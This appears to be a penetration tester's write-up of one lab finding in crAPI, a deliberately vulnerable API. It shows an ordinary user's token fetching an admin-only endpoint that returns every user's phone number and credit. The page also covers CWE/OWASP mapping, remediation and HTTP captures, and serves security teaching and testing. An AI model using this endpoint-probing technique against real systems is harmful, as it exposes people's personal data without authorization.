Muhammad FaqihApplication security · Penetration testing
Test case 01 / 19FAIL

Broken Function Level Authorization - Workshop - Management Users Endpoint

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

crAPI/Evidence/[FAIL] Broken Function Level Authorization - Workshop - Management Users Endpoint

01 — Notes

Test notes

Vulnerability

[FAIL] Broken Function Level Authorization - Workshop - Management Users Endpoint

Description

The management endpoint /workshop/api/management/users/all -- which should be restricted to administrators -- is reachable by an ordinary authenticated user (role=user). The endpoint returns data for every user in the application.

Impact

Confidentiality: any ordinary user can download PII for all users (17 accounts): email addresses, phone numbers, and credit balances. Function-level authorization is not enforced.

CWE

CWE-285: Improper Authorization (related to CWE-639)

OWASP

API5:2023 - Broken Function Level Authorization (and API3:2023 - Excessive Data Exposure)

Scenario

Normal: an ordinary user only sees their own account data. Exploitation: the same ordinary user calls the management endpoint /workshop/api/management/users/all -> 200 returns PII for every user. The end result demonstrates CIA (Confidentiality).

Endpoint

GET http://127.0.0.1:8888/workshop/api/management/users/all

Affected feature

User Management Endpoint (crapi-workshop)

Remediation

- Enforce role-based authorization on every management/administrative endpoint; verify role=admin server-side. - Do not rely on the absence of a UI link as an access control. - Minimize the data returned.

Proof of concept

1) (Screenshot 1) NORMAL: GET /identity/api/v2/user/dashboard with an ordinary user token -> 200, own account data only (id=8). 2) (Screenshot 2) EXPLOITATION + CIA: GET /workshop/api/management/users/all with the SAME ordinary user token -> 200 returns PII for every user (17 accounts).
View source note (English)
Vulnerability: [FAIL] Broken Function Level Authorization - Workshop - Management Users Endpoint

Description:
The management endpoint /workshop/api/management/users/all -- which should be restricted to administrators -- is reachable by an ordinary authenticated user (role=user). The endpoint returns data for every user in the application.

Impact:
Confidentiality: any ordinary user can download PII for all users (17 accounts): email addresses, phone numbers, and credit balances. Function-level authorization is not enforced.

CWE:
CWE-285: Improper Authorization (related to CWE-639)

OWASP:
API5:2023 - Broken Function Level Authorization (and API3:2023 - Excessive Data Exposure)

Scenario:
Normal: an ordinary user only sees their own account data. Exploitation: the same ordinary user calls the management endpoint /workshop/api/management/users/all -> 200 returns PII for every user. The end result demonstrates CIA (Confidentiality).

Endpoint:
GET http://127.0.0.1:8888/workshop/api/management/users/all

Affected Feature:
User Management Endpoint (crapi-workshop)

Remediation:
- Enforce role-based authorization on every management/administrative endpoint; verify role=admin server-side.
- Do not rely on the absence of a UI link as an access control.
- Minimize the data returned.

POC:
1) (Screenshot 1) NORMAL: GET /identity/api/v2/user/dashboard with an ordinary user token -> 200, own account data only (id=8).
2) (Screenshot 2) EXPLOITATION + CIA: GET /workshop/api/management/users/all with the SAME ordinary user token -> 200 returns PII for every user (17 accounts).

02 — Screenshots

Screenshots (2)

01 / Normal: own data

Normal flow: a regular user (role=user) sees only their own data.

02 / Impact: all 17 users' data exposed

Impact: the same regular-user token can access the management endpoint, which should be admin-only. The 200 response exposes every user's PII: email, phone number and credit for 17 users. This compromises confidentiality.

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1Normal: own data
HTTP request
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368

[
  {
    "id": 6,
    "uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
    "pincode": "8392",
    "vin": "861P9NB3CL6ZEA9X1",
    "year": 2026,
    "status": "INACTIVE",
    "previousOwners": [],
    "model": {
      "id": 4,
      "model": "5 Series",
      "fuel_type": "PETROL",
      "vehicle_img": "images/bmw-5.jpg",
      "vehiclecompany": {
        "id": 4,
        "name": "BMW"
      }
    },
    "vehicleLocation": {
      "id": 4,
      "latitude": "38.206348",
      "longitude": "-84.270172"
    },
    "owner": null
  }
]

Normal flow: a regular user (role=user) sees only their own data.

CAPTURE 02 / 2Impact: all 17 users' data exposed
HTTP request
GET /workshop/api/management/users/all HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 1573

{
  "users": [
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9876895423"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9876570006"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9876570001"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9876540001"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9010203040"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": ""
      },
      "available_credit": 0.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": ""
      },
      "available_credit": 0.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+234123423423"
      },
      "available_credit": 155.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+123424243234"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1999888777"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1999000111"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+199907057"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+19990111"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+19990222"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1997552"
      },
      "available_credit": 175.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1999674"
      },
      "available_credit": 175.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1995809"
      },
      "available_credit": 175.0
    }
  ],
  "next_offset": null,
  "previous_offset": null,
  "count": 17
}

Impact: the same regular-user token can access the management endpoint, which should be admin-only. The 200 response exposes every user's PII: email, phone number and credit for 17 users. This compromises confidentiality.